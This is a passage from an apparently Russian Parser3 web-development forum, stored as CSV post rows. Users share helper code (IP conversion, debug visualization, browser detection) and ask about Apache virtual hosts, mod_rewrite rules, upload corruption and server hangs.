	<table border=\"1\" cellpadding=\"2\" cellspacing=\"0\" bordercolor=\"#CCCCCC\" id=\"table\">\
	    	<tr>\
	    		<td bgcolor=\"#CCCCCC\" style=\"font-size: xx-small\">&nbsp^;</td>\
	    	^columns.menu{\
	    		<td>\
	    			<strong>$columns.column</strong>\
	    		</td>\
		}\
	   	</tr>\
	   	^data.menu{\
	    	<tr>\
	    		<td bgcolor=\"#CCCCCC\" style=\"font-size: xx-small\">^data.offset[]</td>\
	    	^columns.menu{\
	    		<td>$data.[$columns.column]</td>\
		}\
	   	</tr>\
	   	}\
	</table>\
</div>]\
#==================================================================================================\
#==================================================================================================\
@_hashDump[data]\
$result[<div style=\"padding-left: 25px\">\
	<div style=\"font-size: xx-small\">\
	ключей: <strong>^data._count[]</strong>\
	</div>\
	^data.foreach[key;value]{\
	<div style=\"padding-left: 25px\">\
	^$.<strong>$key</strong>^[^dump[$value]^]\
	</div>}\
	<div bgcolor=\"#CCCCCC\">^]</div>\
</div>]\
#==================================================================================================\
[/code]\
Мне нужны были только методы вывода хэша и таблицы.\
Может что полезное возьмёте."
"45738","Я думаю тебе не стоит заного создавать велосипед, скачай себе phpBB. Но если ты прям горишь желанием сам попотеть на форумом и у тебя уйма времени пиши. Кстати когда я задавал этот вопрос мне ответили что этот сайт состоит не из чистого парсеровского кода"
"45739","Методы для преобразования IP в строку (8символов).\
Удобно для хранения.\
(по аналогии способа хранения IP в phpbb)\
[code]\
#==================================================================================================\
@ipToStr[ip][parts;digit]\
$parts[^ip.split[.][v]]\
^parts.menu{\
	$digit(^parts.piece.int(0))\
	$result[$result^digit.format[%.02x]]\
}\
#==================================================================================================\
\
#==================================================================================================\
@strToIp[str][position]\
$result[^for[position](0;^math:ceiling(^str.length[] / 2) - 1){^hexToInt[^str.mid($position * 2;2)]}[.]]\
#==================================================================================================\
\
#==================================================================================================\
@hexToInt[hex][letters_to_digits;hex_length;position;digit;pow]\
$letters_to_digits[^table::create{from	to\
a	10\
b	11\
c	12\
d	13\
e	14\
f	15\
A	10\
B	11\
C	12\
D	13\
E	14\
F	15}]\
$hex_length(^hex.length[])\
\
^for[position](1;$hex_length){\
	$digit[^hex.mid($position - 1;1)]\
	$digit[^digit.replace[$letters_to_digits]]\
	$digit(^digit.int(0))\
	$pow($hex_length - $position)\
	$result($result + $digit * ^math:pow(16;$pow))\
}\
#==================================================================================================\
[/code]"
"45742","Может ли парсер сгенерировать для себя код, а потом его выполнить? Например:\
[code]\
$tankinput[^table::create{name	description\
produced	произведено\
mass\
crew\
height\
width\
length\
cannon\
machine-gun}]\
\
\
^tankinput.menu{\
\
 ${tankinput.description}: <br />\
#\
 <input name=\"${tankinput.description}\" value=\"${description.${tankinput.name}}]\" />\
}\
\
[/code]\
Можно вообще сделать чтобы парсер выполнил (из верхнего куска кода):\
[code]\
<input name=\"cannon\" value=\"${description.cannon}\" />\
[/code]"
"45743","Просто под руку подвернулось, сделал.\
Может кому пригодится..."
"45744","у предлагаемой строки размер 16 символов. у числа - аналогично. только по моему в число.обратно преобразовывается быстрее плюс проверку на принадлежность диапазону проще делать :)\
\
P.S. [url=\"/examples/int-ip/\"]ссылка по теме[/url], [url=\"/forum/?id=27830\"]ещё одна[/url]"
"45745","Разве ваш код не работает?..\
\
ПС. кстати, можно в простых случаях не заключать имя переменной в фигурные скобки:\
\
[code]\
<input name=\"$tankiinput.description\"...>\
[/code]"
"45746","Парсер итак выполняет ваш код и генерирует кучу инпутов.\
А вот ежели ван нужно чтобы форма просабмитилась, то это уже другой вопрос."
"45747","как будто не можете придумать какое-нибудь достоинство! :)\
\
Скорость одиночной замены оценить не смог, шибко быстро.\
Пачкой не делал.\
Оба выдают время в пределах точности измерений.\
Памяти отъедает порядка 40Кб, против 12Кб Вашего метода.\
\
Ссылки видел, ессно.\
\
Я ж говорю, \"под руку подвернулось\".\
Мне просто нужно было преобразование ip из базы phpbb вот и сделал.\
\
PS Есть ещё полезный метод hexToInt, вот только что в голову пришло =)"
"45748","... ведь совершенно спокойно, как в случае с ip-адресами, так и в случае с длинными URI, можно запихивать их в уникальную строку при помощи md5. Правда это довольно-таки одностороннее решение %)..."
"45749","[code]\
###################################################################################################\
# $Id: visualization.p,v 1.7 2005/10/18 15:52:40 asharky@opensea.ru Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
# Если есть необходимость и желание сделать данную библиотеку операторов классом, то:\
#\
# 1. Раскоментируйте ниже расположенные две строки\
# @CLASS\
# visualization\
# 2. Включите в Ваш класс MAIN оператор:\
# @debugShowObject[object]\
# ^visualization:debugShowObject[$object]\
# #end @debugShowObject[]\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^if($object is \"bool\"){\
		^debugShowBool[$object]\
	}{\
		^debugShowVoid[$object]\
	}\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}<br>\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text;shash]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong>^if(!def $shash){ (string)}]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d;shash]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong>^if(!def $shash){( (int/double))}]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b;shash]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong>^if(!def $shash){ (bool)}]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v;shash]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[^if(!def $shash){<strong>Значение не присвоено</strong> (void)}]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[Файл <strong>^file:fullpath[$f.name]</strong>, размером: \
	$_f.size байт, создан \
	${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в \
	${_f.cdate.hour}ч.${_f.cdate.minute}мин, изменен: \
	${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в \
	${_f.mdate.hour}ч.${_f.mdate.minute}мин, последний раз обращение к \
	файлу производилось \
	${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в \
	${_f.adate.hour}ч.${_f.adate.minute}мин. MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong><i>^f.text.left(100)...</i></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><i>...^f.text.right(100)</i></strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}час ${d.minute}мин ${d.second}сек. $d.yearday день года</strong>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3.</strong>}<br>\
Высота изображения^: ${i.height}px, ширина^: ${i.width}px<br>\
^if(def $i.exif){^debugShowHash[$i.exif]}{EXIF информация в файле отсутствует!<br>}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является <strong>nameless</strong> таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr align=\"center\">\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_sdiv]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
^if(!def $caller.$_sdiv){$_sdiv(0)}\
\
^_sdiv.inc(50)\
\
^h.foreach[k;v]{<div style=\"padding-left: ${_sdiv}px\">\
	^if(!def $v){\
		^if($v is \"bool\"){\
			^$.$k^[^debugShowBool[$v;1]^]<br>\
		}{\
			^$.$k^[^debugShowVoid[$v;1]^]<br>\
		}\
	}{\
		^if($v is bool){^$.$k^[^debugShowBool[$v;1]^]}\
		^if($v is string){^$.$k^[^debugShowString[$v;1]^]}\
		^if($v is date){^$.$k^[^debugShowDate[$v]^]}\
		^if($v is image){^$.$k^[^debugShowImage[$v]^]}\
		^if($v is file){^$.$k^[^debugShowFile[$v]^]}\
		^if($v is table){^$.$k^[^debugShowTable[$v]^]}\
		^if($v is int || $v is double){^$.$k^(^debugShowDouble($v;1)^)}\
		^if($v is hash){\
			^_sdiv.inc(50)\
			^$.$k^[^debugShowHash[$v]^]\
			^_sdiv.dec(50)\
		}\
	}\
</div>}\
#end @debugShowHash[]\
[/code]"
"45750","Лично я давно и успешно пользуюсь implode.p. Только я его доработал, чтоб он safari понимал."
"45751","Проблема следующая.\
Есть форма загрузки картинок на сервер. Упрощенно:\
\
[code]<form action=\"index.html\" method=\"post\" enctype=\"multipart/form-data\">[/code]\
[code]<input type=\"text\" name=\"filename\">[/code]\
[code]<input type=\"file\" name=\"img_big\">[/code]\
[code]<input type=\"submit\">[/code]\
[code]</form>[/code]\
\
Скрипт обработки следующий. Упрощенно:\
[code]$Values[$form:fields][/code]\
[code]^if(def $Values.img_big){^Values.img_big.save[binary;/${Values.filename}_big.jpg]}[/code]\
\
Фишка в том, что на компе с виндой это работает нормально - сохраняет картинки, потом я их спокойно просматриваю и жиснь прекрасна. Но когда делаешь то же самое на сервере (FreeBSD), то картинки не отображаются. Размер тот же самый, но просмотр не работает. \
\
Подскажите, что можно сделать. И как."
"45752","Если просматривать файлы в HEX, то у файлов, которые загружаются на сервер вместо всех байтов со значением 00 стоит 20. Как это исправить?"
"45755","[code]\
@detectBrowser[][ua;ver;res]\
$res[^hash::create[]]\
$ua[$env:HTTP_USER_AGENT]\
^if(^ua.match[mac][i]){\
	$res.platform[mac]\
}{\
	^if(^ua.match[win][i]){\
		$res.platform[win]\
	}{\
		$res.platform[unix]\
	}\
}\
\
$ver[^ua.match[opera.(\\d+)(\\.(\\d+))?][i]]\
^if($ver){\
	$res.browser[opera]\
	$res.browser_ver(^ver.1.int(0))\
	$res.browser_subver(^ver.3.int(0))\
}{\
	$ver[^ua.match[msie.(\\d+)(\\.(\\d+))?][i]]\
	^if($ver){\
		$res.browser[ie]\
		$res.browser_ver(^ver.1.int(0))\
		$res.browser_subver(^ver.3.int(0))\
	}{\
		$ver[^ua.match[mozilla.(\\d+)(\\.(\\d+))?][i]]\
		^if($ver){\
			^if(^ua.match[safari][i]){\
				$res.browser[safari]\
			}{\
				$res.browser[nn]\
			}\
			$res.browser_ver(^ver.1.int(0))\
			$res.browser_subver(^ver.3.int(0))\
		}{\
			$res.browser[other]\
			$res.browser_ver(0)\
			$res.browser_subver(0)\
		}\
	}\
}\
$result[$res]\
#end @detectBrowser[]\
[/code]"
"45756","На http://www.opensea.tv/parser3/ дополнил архив тестовыми файлами для проверки работы vizualizator.p\
\
Михаил. Может уже можно в раздел \"прислали пользователи\" положить или что-то не хватает ещё? :)"
"45757","по случайной строке.\
Будет вообще зашибись, никто никогда адресов уж точно не узнает!"
"45758","... как-то мне надо было пути хранить в базе. Вот. Ну, путь ведь может быть зело длинным, ну я и подумал, что если мы сделаем md5 то будет очень круто:\
[code]\
$currentPath[$request:uri]\
#Приводим к какому-нить стандартному виду, ну или это делает mod_rewrite\
$currentPath[^somePreparations[$currentPath]]\
$myContent[^pSQL.sql[string]{\
    SELECT txt_content FROM t_siteSections WHERE s_md5uri eq '^currentPath.md5[]'\
}]\
[/code]\
Ну, что-то в этом роде %))))\
Типа - нецелевое забивание гвоздей микроскопой."
"45759","есть запрос вида\
http://www.mysite.ru/index.html?ABC\
\
где $request:query возвращает ABC\
\
мне надо проверять этот параметр со своим списком\
\
вот рабочий вариант:\
$str['ABC']\
^if(^str.match[$request:query]){сработает этот блок}{..}\
$str['DEF']\
^if(^str.match[$request:query]){..}{сработает этот блок}\
\
у меня не получилось сделать сравнение наоборот, от самого $request:query, т.е. к примеру что-то такое:\
\
$str['ABC']\
^if(^request:query.match[$str]){..}{всегда попадаем в этот блок}\
\
или даже вот так:\
^if(^request:query.match['ABC']){..}{всегда попадаем в этот блок}\
\
где моя ошибка?"
"45760","1. не надо анализировать для этого $request:query, используйте $form. забудьте про $request:query\
\
2. match не сравнивает, а выполняет поиск по шаблону. прочитайте про регулрные выражения если хотите понять что это означает. в вашем случае при $str['ABC'] и приведенных вами uri у вас всегда будет false. \
\
3. вам не нужен match вовсе. запишите ваши значения в таблицу, и используйте ^таблица.locate[], где ищите то, что взяли из $form"
"45761","Я так полагаю чел. имел в виду\
HTML\
Js\
xml\
xsl\
SQL ...\
\
:))"
"45762","Спасибо\
вот так вот сейчас попробовал, мне такой вариант нравиться\
\
$tab[^table::create{name	action\
ABC	1\
DEF	2}\
]\
\
^form:fields.foreach[field;value]\
{\
  ^if(^tab.locate[name;$value]){\
    Запись найдена : $tab.action\
  }{\
    Запись не найдена\
  }\
}"
"45763","Собрал парсер в виде модуля на FreeBSD 5.3 GCC3.4.2\
apache 1.3.33, снапшот из cvs на 6 августа, собирал по мануалу, все собралось на ура и зарботало. Без баз данных, но с xml статиком.\
\
Однако после нескольких минут (сервак под большой нагрузкой) часть процессов httpd переходит в статут lockf, пожоже кто-то не отпускает мутексы?\
\
Паф, у Вас есть идеи как починить?"
"45764","имеет ли смысл учитывать это?\
\
http://www.parser.ru/forum/?id=44630"
"45766","Код не работает. Я хочу чтобы парсер сам для себя сгенерировал код, а потом его выполнил.\
\
Чтобы не писать кучу однообразных инпутов из таблицы в БД где много столбцов."
"45767","Думаю у ПАФа просто руки не доходят :) На него и так сыпется со всех сторон."
"45768","1. Файл. Надо как-то упорядочить информацию, хотя бы просто переводы строк добавить.\
[code]\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[Файл <strong>^file:fullpath[$f.name]</strong>,<br/>\
	размером: $_f.size байт,<br/>\
	создан \
	${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в \
	${_f.cdate.hour}ч.${_f.cdate.minute}мин,<br/>\
	изменен: \
	${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в \
	${_f.mdate.hour}ч.${_f.mdate.minute}мин,<br/>\
	последний раз обращение к файлу производилось\
	${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в \
	${_f.adate.hour}ч.${_f.adate.minute}мин.\
	<br/><br/>\
	MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong><i>^f.text.left(100)...</i></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><i>...^f.text.right(100)</i></strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font>]\
}\
#end @debugShowFile[]\
[/code]\
2. Отступы бы добавить слева у объектов значений хэша, у таблиц, рисунков и прочего.\
По остальному – хорошо.\
Ошибок не нашёл."
"45774","http://www.parser.ru/docs/lang/formfield.htm"
"45775","совсем что то замучился вроде надо как я знаю в файле host прописать новый ip  а потом еще в httpd прописать настройки... Помогите пожалуйста умные люди!"
"45777","[quot]вроде надо как я знаю в файле host прописать новый ip а потом еще в httpd прописать настройки[/quot]\
\
Всё верно. Что пробовали? Каков эффект? Логи?"
"45778","прочтите это http://www.spearance.ru/parser3/apache/"
"45779","ошибка еще с версии 3.1.4\
Вчера обнаружили такое-же поведение на freeBSD 7.0\
\
Причина - интенсивная работа с хэшфайлами.\
\
[code]^RIGHTS_CACHE.clear[]\
^if(^math:random(1000) < 100){^RIGHTS_CACHE.foreach[k;]{}}\
[/code]\
Намертво вешает один процесс, остальные, запрашивающие доступ к хэшфайлам вешаются за компанию."
"45780","кладу в новую папку для второго сайта главную страницу но она не загружается как будто виснет... не знаю почему и еще вопрос как это запустить апач с ключом -t у меня только один exe?\
\
<VirtualHost 127.0.0.2>\
    ServerAdmin webmaster@sto-fantom.ru\
    ServerName sto-fantom.ru\
    DocumentRoot \"C:/Apache Group/Apache/sto-fantom\"\
   ScriptAlias /cgi/ \"C:/Apache Group/Apache/cgi-bin\"\
   ErrorLog C:/Apache Group/Apache/error.log\
    CustomLog C:/Apache Group/Apache/access.log common\
 \
<Directory \"C:/Apache Group/Apache/icons\">\
                AllowOverride FileInfo\
\
</Directory>\
</VirtualHost>"
"45782","вариант с таблицей мне действительно понравился\
и возник другой вопрос\
если к примеру в таблице хранить идентификаторы и ссылку на исполняемый код, то как все это обрабатывать?\
\
@job-1[]\
...\
\
@job-2[]\
...\
\
$runjob[^table::create{jobname job\
job-1  ^job-1[]\
job-2  ^job-2[]\
]\
\
^form:fields.foreach[field;value]\
{\
  ^if(^runjob.locate[jobname;$value]){\
  запустить блок по ссылке $runjob.job\
}\
}"
"45783","подобного вроде не встречали (хотя может админы нас не информируют, а просто киляют процессы). я поинтересуюсь у них, заодно отправлю ссылку на этот тред ПАФ-у, чтобы он не пропустил его когда придет из отпуска.\
\
вопрос: у вас точно один раз на страницу открывается hashfile? (имеется один раз с одним файлом)"
"45784","присылайте кратное описание или выкладывайте его у себя, я добавлю ссылку в примеры."
"45786","http://www.denwer.ru/"
"45787","Миша. Что не так? Замечания высказать - минута, не более, а я постараюсь привести в соответствие. Ну или по крайней мере задумаюсь :)"
"45788","Да, открываем один раз.\
На windows серверах все отрабатывается нормально."
"45789","1) Перед блоком\
<VirtualHost 127.0.0.2>\
...\
</VirtualHost>\
должен быть прописан основной хост\
<VirtualHost 127.0.0.1>\
...\
</VirtualHost>\
иначе виртуальные хосты не работают.\
Внимательней читайте доку, если не хочется в это вникать - поставте Денвер, там всё делается автоматом, создаёшь каталог, перезапускаешь Апачь и всё, хост готов.\
2) Если у вас реальный хостинг под UNIX, то рекомендую локальный сервер поставить тоже под юникс (очень часто возникает вопрос, под Win работает а под Unix не хочет)"
"45791","имеем следующее:\
\
@job-1[] \
[1] one\
[2] two\
[3] ..\
\
@job-2[]\
...\
\
$runjob[^table::create{jobname job\
job-1 ^job-1[]\
job-2 ^job-2[]\
]\
\
^if(^runjob.locate[jobname;$form:nameless]){\
  $runjob.job\
}\
\
где $form:nameless передаваемый параметр в виде test.html?job-1\
в результате только:\
[b][1] one[/b]\
\
почему не выводит остальное?\
и будет ли вообще исполнять более сложный код?"
"45792","если запишу вот так, то все отработает\
\
$str['job-1']\
^if(^str.match[$form:nameless]){\
  ^job-1[] \
}"
"45793","не кода, не хешей, не дат и не junction, а только строк и при этом имеет формат tab delimited.\
\
в вашем случае при создании таблицы туда помещается результат выполнения кода, а не при обращении. это не то что вы хотите.\
\
поищите по форуму \"фабрика объектов\", возможно это то что вам нужно."
"45794","Конечно есть. Можно забыть о хранении ACL в памяти:\
[code]\
	SELECT\
		node.node_id,\
		node.parent_id,\
		node.irf,\
		node.owner,\
		BIT_OR(acl.rights) as rights\
	FROM\
		node\
	LEFT JOIN	\
		acl\
	ON\
		node.node_id = acl.node_id\
		AND\
		acl.auser_id IN (^pAUTH.user.groups.menu{$pAUTH.user.groups.group_id,}$pAUTH.user.user_id)\
\
	WHERE\
		node.thread_id = 1\
	GROUP BY\
		node.node_id\
[/code]\
Достанет целиком первую ветку с наполовну расчитанными правами.\
Если используете не mySQL или версию >= 5.0, то можно написать простенькую хранимую процедуру, которая дудет приплюсовывать результат наследования.\
Еще можно посадить travescal и доставать только НУЖНЫЕ вам оси дерева.\
Кстати, эта модель в обсужениях на sql.ru признана наиболее работоспособной в системах с больши количеством пользователей и объектов."
"45795","http://www.parser.ru/forum/?id=45272\
\
когда я предлагал вынести префикс в название класса я имел ввиду что использоваться будет так:\
^visualization:object[$object], а не ^visualization:debugShowObject[$object]\
\
т.е. я предлагал не просто все к сласс засунуть.\
\
- пункт 2 считаю все ещё актуален \
- предлагаю выкинуть deprecated теги, а используемые - закрыть (при использовании в связке с xml будет полезно)\
- добавить возможность вывода в файл"
"45796","понятно, это значит уже при создании таблицы туда занеслась информация, в данном случае первые строки из метода, который Парсер все равно вызовет при формировании\
\
а я пытаюсь вызвать как метод"
"45797","до \"фабрики\" надо дорасти, пока не понятно\
обошолся [b]^switch[$form:nameless][/b] структурой"
"45799","var xml = new ActiveXObject(\"Microsoft.XMLDOM\");\
\
подскажите альтернативу этой джаве строчке, которая будет работать кроме IE, ещё в разных мозилах и прочих браузерах"
"45800","Новые парсеры (3.1.5 и 3.2.0) перестали считать сторокой [i]$таблица.колонка[/i].\
\
Например:\
[code]\
^table.column.replace[$r]\
[/code]\
\
Вернет undef method, так же как и другие строковые функции."
"45802","http://www.opensea.tv/parser3/ - можно ссылку ставить."
"45803","ПАФ предупреждал уже неоднократно, чтобы не собирали в данный момент - возможны глюки!"
"45804","Ищу программистов по Парсеру в Петербурге!\
Для сотрудничества. Подробности по мэйлу."
"45805","Я бы даже сделал так:\
\
[code]\
^debug:print[$object]\
[/code]"
"45808","^use(), ^visualization:object(<объект>) - неверные скобки"
"45810","Есть такой метод \"воспитания\" подрастающего поколения :)\
\
Поправил, спасибо."
"45813","Проверил. Не имеет. апач собранный без оптимизации живет чуток дольше.\
Может все вообще без оптимизации собрать?"
"45814","Один программист другому: \
- Hу и пусть говорят, что использовать в качестве пароля имя своего кота - дурной тон! RrgTt_fx32№!b, кис-кис-кис...\
\
:)"
"45816","Только вот будет-ли \"кис-кис\" отзываться на постоянно меняющиеся имена :)\
\
Hint! Динамическое подключение файлов с классами из подкаталогов:\
[code]\
@classesInclude[][_tp1;_tp2]\
###################################################################################################\
# Метод производит поиск в каталогах $PARCMS_DIRECTORY/modules/<имена классов>/classes/\
# и подключает все что найдёт вида <*.p> как классы.\
#\
# Заполняем таблицу именами каталогов, которые не могут включать в себя символ '.' (0x2e).\
$_tp1[^file:list[$PARCMS_DIRECTORY/modules;^^[^^.]+^$]]\
\
^_tp1.menu{\
	$_tp2[^file:list[$PARCMS_DIRECTORY/modules/$_tp1.name/classes;\\.p^$]]\
\
	^try{\
		^_tp2.menu{\
			^use[$PARCMS_DIRECTORY/modules/$_tp1.name/classes/$_tp2.name]\
		}\
	}{\
		^if($exception.type eq parser.runtime){\
			$exception.handled(1)\
		}\
	}\
}\
#end @classesInclude[]\
[/code]"
"45817","А вы на линуксе не пробовали?"
"45818","Помню, что видел где-то на этом сайте ссылки на несколько шрифтов, но найти не могу. Их убрали? Зачем?"
"45819","Подскажите, почему не работает преобразование price.html?id=11  -->  price/11.html\
\
В .htaccess \
\
RewriteEngine on\
RewriteRule ^price/([0-9]+)\\.html$	price.html?id=$1"
"45826","Это я видел.\
Но были шрифты просто с мелкими цифирками."
"45829","Подскажите, пожалуйста,\
\
Как в .htaccess сделать редирект\
чтобы по адресу [b]http://subdomain.domain.ru/url[/b]\
выполнялся скрипт [b]http://domain.ru/index.htm?sd=subdomain[/b],\
\
в частности, чтобы при вызове [b]http://www.domain.ru/url[/b]\
вызывался [b]http://subdomain.domain.ru/index.htm?sd=www[/b]?"
"45830","и прочитайте FAQ о том, как задавать вопросы. тут принят такой подход, вы пишите:\
- что вам хочется получить\
- [b]что вы уже попытались сделать[/b]\
- что при этом получаете"
"45834","Не знаю как правильно называется :) В общем: обычный \"бытовой\" юзер вводит в окне формочки параметр поиска файлов на диске. Может вводить с \"бытовыми\" метасимволами \"*\" и \"?\". Ввод поступает на обработку Парсеру и выполняется при помощи оператора ^file:list[], вторым параметром которого является регулярное выражение. Обязать юзера понимать регулярки - не возможно, надо преобразовывать то, что он ввел в неё, в человеческий вид :)\
\
Вопрос: достаточно-ли такого преобразования (перевода) или я что-то упустил:\
[code]\
^if(def $mask){\
	$mask[^mask.replace[^table::create{from	to\
*	.*\
.	\\.\
?	.}]]\
}\
[/code]\
\
В поле ввода маски - только имена файлов, без путей. Т.е.: \"\\\" в \"/\" и т.п. - не требуется."
"45836","ибо введут в конце концов <(\\w+)>.</\\1>\
\
ну и слеши с '..' зарезать... вы-же не хотите чтобы добрались куда не следует? :)"
"45837","Я привык как-то доверять людям, посему даже не подумал отфильтровывать лишнее :)\
\
Таблицы из трех строк, приведенной мной в первом посте, достаточно для трансляции с \"бытового\" на человеческий языки?"
"45839","$mask[^mask.match[[^^0-9A-Za-z.*?_]][g]{}] - в моей задаче достаточно этого фильтра."
"45840","К примеру,\
\
RewriteLogLevel 3\
RewriteLog \"путь/rewrite.log\"\
\
выдают соответственно\
\
RewriteLogLevel not allowed here\
RewriteLog not allowed here\
\
\
Ведь тривиальная же задача....."
"45841","Подключил сайт я  на 127.0.0.1 тоесть на одном адресе у меня несколько сатов (http://www.parser.ru/forum/?id=34897) Но все таки интересно как подключать другой адрес и ставить на него сайт? если кто знает напишите пожалуйста."
"45843","- добавил [url=\"/examples/cache/\"]класс для кеширования[/url] страницы целиком вместе с заголовками \
- немного обновил [url=\"/examples/date/\"]класс для работы с датами[/url]\
- в дополнение к оператору выложил [url=\"/examples/detect/\"]класс[/url] для анализа $env:HTTP_USER_AGENT и определения броузера/платформы"
"45844","Добавил в класс math два метода:\
[code]\
^math:base64_encode[string]\
и\
^math:base64_decode[string]\
[/code]\
2PAF: нужен патчик?"
"45845","а перевести что написано и почитать доку по apache не пробовали?"
"45846","Парсер это \"администрилка\" типа Mambo или язык?\
Может ли Парсер быть закачен на обычный Php хостинг?\
\
Спасибо!"
"45847","первый же абзац в правой колонке. еще можно проскроллить вниз и прочитат там."
"45848","Задача:\
в .htaccess сделать редирект\
чтобы по адресу http://subdomain.domain.ru/url\
выполнялся скрипт http://domain.ru/index.htm?sd=subdomain,\
\
в частности, чтобы при вызове http://www.domain.ru/url\
вызывался http://subdomain.domain.ru/index.htm?sd=www\
\
Сделал так:\
[code]\
RewriteCond %{HTTP_HOST} ^www\\.[^.]+\\.domain\\.ru$\
RewriteRule ^(.+)        %{HTTP_HOST}$1          [C]\
RewriteRule              ^www\\.([^.]+)\\.domain\\.ru(.*) /index.htm?sd=$1\
[/code]\
\
В результате ни каталоги /url, ни поддомены subdomain.domain.ru не отображаются. Что делать?"
"45849","Доброго времени суток!\
\
Я уже списывался с Александром по аналогичному поводу, вот выдержка из его ответа:\
\
---\
...взять какую-нибудь МАЛЕНЬКУЮ библиотеку, и встроить её в src/lib.\
\
2. представляется полезным в виде конструктора (^string::base64[]) и одноимённого форматирующего метода (^string.base64[]).\
\
3. представляется file:: и file. то же самое\
---\
\
Так что если у Вас есть возможность и желание реализовать работу с base64 в предложенном виде, то я могу выслать уже выдранный кусочек библиотеки."
"45850","Это язык...\
Можно только в том случае если у вас есть доступ к собственным CGI/ИЛИ у вас уже на хостинге установлен интепритатор Парсера"
"45851","Задача такая: при удалении каталога нужно удалить все его содержимое. Все содержимое каталога удаляется замечательно, кроме файла .htaccess\
\
Пробовал такое: ^file:delete[${Path}.htaccess]\
\
Но все-равно не работает. На форуме не нашел. :(\
\
Думаю, что скорее всего нужно удалять файл внешними, не парсеровскими команадами (rm). Но как это сделать? Подскажите, плиз. Или покажите где почитать."
"45852","Предложение для следующей версии:\
В классе [code]@table[/code] седлать не только чтение столбца в текущей строке [code]$таблица.поле[/code], но и его перезапись [code]$таблица.поле[новое значение][/code]\
\
Это очень существенно облегчит работу с табличными данными.\
Так как для изменения переменной одной строки необходимо следующее:\
[code]\
$edit_line(12)\
$new_col[....]\
$table_until[^table.select(^table.line[] < $edit_line)]\
$table_after[^table.select(^table.line[] > $edit_line)]\
$table[$table_until]\
